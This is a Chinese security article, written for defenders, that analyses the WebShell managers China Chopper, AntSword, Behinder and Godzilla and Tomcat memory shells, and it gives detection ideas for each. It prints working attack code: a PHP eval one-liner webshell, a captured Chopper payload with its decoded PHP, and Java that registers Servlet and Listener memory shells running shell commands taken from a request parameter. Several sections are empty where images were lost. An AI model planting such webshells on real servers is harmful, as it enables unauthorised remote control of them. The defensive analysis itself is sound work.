防守方攻略：四大主流WebShell管理工具分析

前言

在网络安全实战攻防演练中，只有了解攻击方的攻击思路和运用武器，防守方才能有效应对。以WebShell 为例，由于企业对外提供服务的应用通常以Web形式呈现，因此Web站点经常成为攻击者的攻击目标。攻击者找到Web站点可利用的漏洞后，通常会在Web站点植入WebShell程序，从而实现对目标站点的控制。为了躲避防守方的检测，攻击方加密WebShell成为常态，由于流量加密，传统的WAF、WebIDS设备难以检测，给防守方监控带来巨大的挑战。因此，防守方需要了解攻击方使用的加密武器，才能找到相应的破解方式。

本文将通过分析目前攻击方常用的四大主流WebShell管理工具：中国菜刀、中国蚁剑、冰蝎shell管理工具、哥斯拉shell管理工具，探讨其加密特征，为防守方提供一些新的检测思路。

中国菜刀

中国菜刀（Chopper）是一款经典的网站管理工具，具有文件管理、数据库管理、虚拟终端等功能。

服务端

<?php eval($_POST["Sp4ar"]);?>

其中‍Sp4ar是连接密码，可以随意更改。也可对服务端做一些混淆操作，防止被查杀。

配置

<T>类型</T> 类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种 <H>主机地址<H> 主机地址可为机器名或IP地址，如localhost <U>数据库用户</U> 连接数据库的用户名，如root <P>数据库密码</P> 连接数据库的密码，如123456 <L>编码类型</L> utf8,gbk等数据编码类型 ASP和ASP.NET脚本： <T>类型</T> 类型只能填ADO <C>ADO配置信息</C> ADO连接各种数据库的方式不一样。如MSSQL的配置信息为 Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456 在设置好配置之后可以对网站数据库，文件等进行管理。 

在设置好配置之后可以对网站数据库，文件等进行管理。

通信流量

POST /u.php HTTP/1.1 X-Forwarded-For: 1*.***.*.*** Referer: http://1*.***.*.*** Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: 1*.***.*.*** Content-Length: 690 Connection: Close Cache-Control: no-cache Cookie: PHPSESSID=m4mi07jn4u6cd3gmhdt97fmq55 ​ Sp4ar=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

（1）请求侧

从payload中可以看出，eval后面卡了一个%01的字符，这样的语法在高版本的php中无法执行，低版本抛出warning后正常执行。获取z0的值并进行base64解码之后传入eval执行，z0解码之后的内容为：

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}/t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="/t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

（2）响应侧

从请求侧的代码来看，执行结果会被包裹在->| |<-中，抓包查看：

可以发现执行结果确实是在->||<-中。

检测

文件检测：通过静态文件的方式进行WebShell查杀。

流量检测：通过检测通信中的eval，base64_decode等关键字。

中国蚁剑

中国蚁剑与中国菜刀相比，界面更加美观、功能更加齐全，并且自定义的程度更高且开放源代码。

服务端

中国蚁剑的服务端会根据不同编码器有所变化，但还是从最基础的开始分析：

<?php eval($_POST["Sp4ar"]);?> //pwd表示连接密码，可以随意更换

配置

编辑/新增记录的时候可以自定义头部字段，选择编/解码器以及一些其他设置。中国蚁剑默认的UA头是antSword/v版本号，目前已经被很多安全产品标记，所以在配置的时候通常会更改，改UA头的方式有两种：一、添加Shell的时候在请求信息中添加User-Agent字段覆盖掉原始的值，二、在modules/request.js修改USER_AGENT的值。第一种方法只针对当前添加的记录生效，第二种方法针对所有的shell都生效。

中国蚁剑的编/解码器可以对请求/响应侧的流量进行编/解码以绕过流量检测，在最新版的中国蚁剑中(v2.1.11)默认的编码器有五个，解码器有三个。

（1）编码器

编码器是在发送数据到服务端之前对payload进行相关处理，目的是为了绕过请求侧的流量检测，默认的编码器：

default编码器：不对传输的payload进行任何操作。

base64编码器：对payload进行base64编码。

chr编码器：对payload的所有字符都利用利用chr函数进行转换。

chr16编码器：对payload的所有字符都利用chr函数转换，与chr编码器不同的是chr16编码器对chr函数传递的参数是十六进制。

rot13编码器：对payload中的字母进行rot13转换。

以上五种编码为中国蚁剑自带的，不需要配置就可以直接使用，除此之外，还存在一个RSA编码器，该编码器将

RSA编码器：该编码器默认不展示，需要自己配置。配置方法：在编码管理界面点击生成RSA配置生成公钥、私钥和PHP代码，然后点击新建编码器选择PHP RSA之后输入编码器的名字即可。

（2）解码器

解码器主要是对接收到的数据进相关处理，目的是为了绕过响应侧的流量检测，默认的解码器：

default解码器：不对响应数据进行处理。

base64解码器：将收到的数据进行base64解码。

rot13解码器：将收到的数据进行rot13转换，由于英文字母一共26个所以置换两次之后会还原。

通信流量

（1）请求侧

针对不同编码器请求侧的流量有所不同

默认编码器发送的数据如下：

base64编码器发送数据如下：

chr：

chr16：

rot13:

rsa:

（2）响应侧

采用不同解码器响应方向的数据也不同。

default：

base64：

rot13：

检测

1. 文件检测：通过静态文件的方式进行WebShell查杀

2. 流量检测：针对不同的编码器流量特征不相同。

针对前面1.2.1中的前五种编码器，可以检测关键字。

针对rsa编码器：由于数据完全加密所以无法使用关键字检测。仔细观察加密之后的数据可以知道：在长度足够的情况下，每相隔固定的长度就会出现一个|字符，分析编码器可知，加密时是先将原始的payload进行分段然后对每一个段进行加密并以base64的格式输出。在rsa加密算法中密文长度等于密钥长度，明文长度不超过密钥长度。由于payload长度比密文长很多所以在加密是必须切割，但是无论怎么切割加密之后的数据长度都是都是固定的，所以在检测的时候可以根据这一特性来进行检测。由于输出结果是base64编码的所以每一个段的数据的字符都是在a-zA-Z0-9+=/之间，每一个段之间都有一个分隔符，当密钥长度是1024位的时候，每个段的明文长度是172，该编码器默认生成的长度是1024且在前端无法更改，但是可以通过替换antData目录下的key_rsa和key_rsa.pub两个文件来更换密钥长度，这两个文件可以通过openssl生成。

生成方式如下：

1.    生成rsa私钥

openssl genrsa -out key_rsa 2048

2.   生成公钥

openssl rsa -in key_rsa -pubout -out key_rsa.pub

然后分别替换key_rsa和key_rsa.pub即可。替换之后可以发现每个分段的长度明显增加从之前的172变成344，当密钥长度增加到3072时，分段长度增加到512，同时加密所需时间明显增加。

冰蝎Shell管理工具

冰蝎Shell管理工具是一款流行的、采用二进制动态加密传输数据的网站管理工具。

服务端

相关链接:

《利用动态二进制加密实现新型一句话木马之Java篇》：

https://xz.aliyun.com/t/2744

《利用动态二进制加密实现新型一句话木马之.NET篇》：

https://xz.aliyun.com/t/2758

《利用动态二进制加密实现新型一句话木马之PHP篇》：

https://xz.aliyun.com/t/2774

配置

目前冰蝎Shell管理工具的配置仅支持代理和自定义HTTP头部。

通信流量

（1）请求侧

（2）响应侧

检测

1. 文件检测：文件的特征主要在解密算法部分和执行payload的部分。

2. 流量检测：由于最新版冰蝎Shell管理工具这个交互过程都采用加密传输，无法采用检测关键字的方法进行检测。相比于2.0的版本，3.0去除了协商密钥的过程，但这带来了一个问题就是，整个过程的密钥是不变的，同时分析冰蝎的源码可以发现：在传输php，jsp，aspx时前面的字段是固定的，这就导致了在一个WebShell中每一个流的前面的字节都是相同，php前面是assert|eval(base64_decode(、csharp是dll文件的头部格式、java则是class文件的头部格式。由于asp（php无法加载openssl时）采用异或对payload进行运算，根据异或的特征（两次异或即还原数据）可以使用密文以原始的payload的前十六位进行异或得到的就是密钥，再用密钥对整体数据进行解密即可还原出明文。

3. 异常进程检测：当冰蝎Shell管理工具执行命令是可以发现系统中会创建两个进程（父子关系）来执行命令。

当启用虚拟终端时同样如此。

哥斯拉Shell管理工具

​哥斯拉Shell管理工具与冰蝎Shell管理工具类似，通信过程都是加密流量，工具界面如下：

WebShell连接

作者已经内置了Payload以及加密器，以JavaDynamicPayload为例，我们生成一个WebShell查看代码。

Unicode解码后代码：

字符串xc为自定义秘钥(pass)MD5的前16位。

拼接自定义的密码和秘钥获取md5值， 这里的md5值作为认证密码和密钥,主要代码逻辑如下：

抓取连接Shell地址过程数据包，一共进行了三次请求响应：

JavaAesBase64类初始化方法如下，加解密方法与生成的WebShell相对应：

流量端检测思路

围绕流量测的检测思路，因为其流量加密的特性，其实与冰蝎Shell管理工具想法大致相同，往往需要多种弱特征结合验证，如可以通过分析Shell连接过程的简单固有特征，结合数据统计分析来进行检测等。

内存马

内存马特点：文件无需落地，更加隐蔽。以tomcat为例，内存马分为以下三种：Servlet、Filter、Listener

（1）Servlet内存马

以一个简单的Servletdemo为例，访问url，查看tomcat对应的调用栈如下：

我们知道通过web.xml或者注解的方式可以配置自定义的servlet与url的映射。而在tomcat中，Wrapper等效于Servlet，即我们只要自定义的实现该逻辑，就可实现Servlet内存马。

Servlet3.0开始提供了动态注册filter、Servlet、Listener，这里不再赘述，感兴趣的可以自己调试验证下，主要逻辑为：

创建自定义Servlet

使用Wrapper对应进行封装

添加封装后的Wrapper到StandardContext的children当中

添加ServletMapping将访问的URL和Servlet进行绑定

如234步骤实现代码如下：

// 获取StandardContext     org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();     StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();       // 用Wrapper对其进行封装     org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();     newWrapper.setName("sangfor");     newWrapper.setLoadOnStartup(1);     newWrapper.setServlet(servlet);     newWrapper.setServletClass(servlet.getClass().getName());     // 添加封装后的恶意Wrapper到StandardContext的children当中     standardCtx.addChild(newWrapper);     // 添加ServletMapping将访问的URL和Servlet进行绑定     standardCtx.addServletMapping("/sangfor","sangfor");

（3）Listener内存马

请求站点时，优先级如下，Listener -> Filter -> Servlet，Listener是最先被加载的

当设置了ServletRequestListener时，每次请求都会先进入Listener 进行逻辑判断

Listen监视器分类：

ServletContext监听, 服务启动和停止时触发

Session监听, Session初始化和销毁时触发

Request监听, 访问服务时触发

我们需要通过Request这个点来实现，即ServletRequestListener，主要逻辑：

自定义Listener

调用StandardContext对象的addApplicationEventListener方法来添加Listenner

（直接使用ApplicationContext的addListenner方法来动态添加Listener会进行web容器状态判断）

主要代码如下：

//listener ServletRequestListener demoListener = new ServletRequestListener() {  @Override  public void requestDestroyed(ServletRequestEvent servletRequestEvent) {  }  @Override  public void requestInitialized(ServletRequestEvent sre) {  System.out.println("requestInitialized");  String cmd = sre.getServletRequest().getParameter("cmd");  try{  //获取sre中的requestFacade对象  org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade)sre.getServletRequest(); ​ ​  //反射获取RequestFacade中的request对象  java.lang.reflect.Field connrequestField = org.apache.catalina.connector.RequestFacade.class.getDeclaredField("request");  connrequestField.setAccessible(true);  org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) connrequestField.get(requestFacade);  //执行命令并回显  String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[] {"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};  java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();  java.util.Scanner s = new java.util.Scanner(in).useDelimiter("//a");  String output = s.hasNext() ? s.next() : "";  java.io.Writer writer = request.getResponse().getWriter();  java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");  usingWriter.setAccessible(true);  usingWriter.set(request.getResponse(), Boolean.FALSE);  writer.write(output);  writer.flush();  }catch (Exception e){  e.printStackTrace();  }  } }; //获取standardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.StandardContext standardCtx = (org.apache.catalina.core.StandardContext)webappClassLoaderBase.getResources(). getContext(); //添加监听器 standardCtx.addApplicationEventListener(demoListener);

（4）哥斯拉Shell管理工具实现内存马

我们再回过头来看下哥斯拉Shell管理工具中内存马的实现，内部实现了不同webshell的内存马，使用jd-gui工具打开class文件，可以看到，C刀，冰蝎不同shell的实现逻辑大相径庭，根据其shell管理工具进行了修改：

（5）内存马检测

有了其攻击手段的实现，防御检测思路也不断更新替换，上述也仅仅是tomcat的实现思路，不同容器框架的具体实现也需要对应的进行封装修改，但其思路大致相同。

万变不离其宗，在主机侧，我们可以通过以下维度是进行检测：

攻击行为固有行为特征

不同于正常业务的特殊共性

高危敏感行为检测

网上已有不少主机侧检测思路，如：

核心特点均会是被加载进jvm的类，即思路为遍历获取每个类，通过类黑名单、高危风险类筛选检测

内存马不落地，即本地不存在对应class文件，攻击者又会在内存马中放置危险操作这两个特性，检测对应ClassLoader目录文件是否存在class文件。我们再dump对应class（如filter）进行check

我们也可以通过RASP技术注入监测阻断恶意敏感操作，也可以达到比较好的类隔离效果。

总结

安全本质上就是一个攻防对抗的过程，随着攻击方式的不断升级变形，防守再也在不是一成不变，固守单一防御检测手段，只会止步不前。而在WebShell检测领域，随着WebShell的更新迭代，流量测加密、更加隐蔽攻击手段已成为趋势，防守方不仅要在流量检测方面提升效果，在主机侧检测也需同步更新升级，相信在不久的未来，检测防御WebShell的技术也会更加成熟有效。

参考链接

https://www.freebuf.com/sectool/252840.html

http://li9hu.top/tomcat%E5%86%85%E5%AD%98%E9%A9%AC%E4%B8%80-%E5%88%9D%E6%8E%A2/

https://my.oschina.net/u/4593189/blog/4805061

https://github.com/feihong-cs/memShell

https://gv7.me/articles/2020/kill-java-web-filter-memshell/

https://www.freebuf.com/sectool/268477.html